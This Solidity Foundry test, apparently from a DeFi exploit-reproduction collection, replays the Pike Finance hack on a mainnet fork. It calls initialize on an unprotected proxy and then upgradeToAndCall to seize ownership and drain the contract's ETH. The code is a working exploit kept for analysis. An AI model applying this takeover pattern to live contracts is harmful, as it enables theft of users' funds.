src/test/2024-04/PikeFinance_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "forge-std/Test.sol";
5 
6// @KeyInfo - Total Lost : 1.4M
7// Attacker : https://etherscan.io/address/0x19066f7431df29a0910d287c8822936bb7d89e23
8// Attack Contract : https://etherscan.io/address/0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd
9// Vulnerable Contract : https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063
10// Attack Tx : https://etherscan.io/tx/0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431
11 
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063#code
14 
15// @Analysis
16// Post-mortem :
17// Twitter Guy :
18// Hacking God :
19 
20interface IPikeFinanceProxy {
21    function initialize(address, address, address, address, uint16, uint16) external;
22    function upgradeToAndCall(address, bytes memory) external;
23}
24 
25contract PikeFinance is Test {
26    uint256 blocknumToForkFrom = 19_771_058;
27    address constant PikeFinanceProxy = 0xFC7599cfFea9De127a9f9C748CCb451a34d2F063;
28 
29    function setUp() public {
30        vm.deal(address(this), 0);
31        vm.createSelectFork("mainnet", blocknumToForkFrom);
32    }
33 
34    function testExploit() public {
35        emit log_named_decimal_uint(" Attacker ETH Balance Before exploit", address(this).balance, 18);
36 
37        // Initialize proxy contract
38        address _owner = address(this);
39        address _WNativeAddress = address(this);
40        address _uniswapHelperAddress = address(this);
41        address _tokenAddress = address(this);
42        uint16 _swapFee = 20;
43        uint16 _withdrawFee = 20;
44        IPikeFinanceProxy(PikeFinanceProxy).initialize(
45            _owner, _WNativeAddress, _uniswapHelperAddress, _tokenAddress, _swapFee, _withdrawFee
46        );
47 
48        // Upgrade proxy contract
49        address newImplementation = address(this);
50        bytes memory data = abi.encodeWithSignature("withdraw(address)", address(this));
51        IPikeFinanceProxy(PikeFinanceProxy).upgradeToAndCall(newImplementation, data);
52 
53        // Log balances after exploit
54        emit log_named_decimal_uint(" Attacker ETH Balance After exploit", address(this).balance, 18);
55    }
56 
57    function withdraw(
58        address addr
59    ) external {
60        (bool success,) = payable(addr).call{value: address(this).balance}("");
61        require(success, "transfer failed");
62    }
63 
64    function proxiableUUID() external pure returns (bytes32) {
65        return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
66    }
67 
68    receive() external payable {}
69}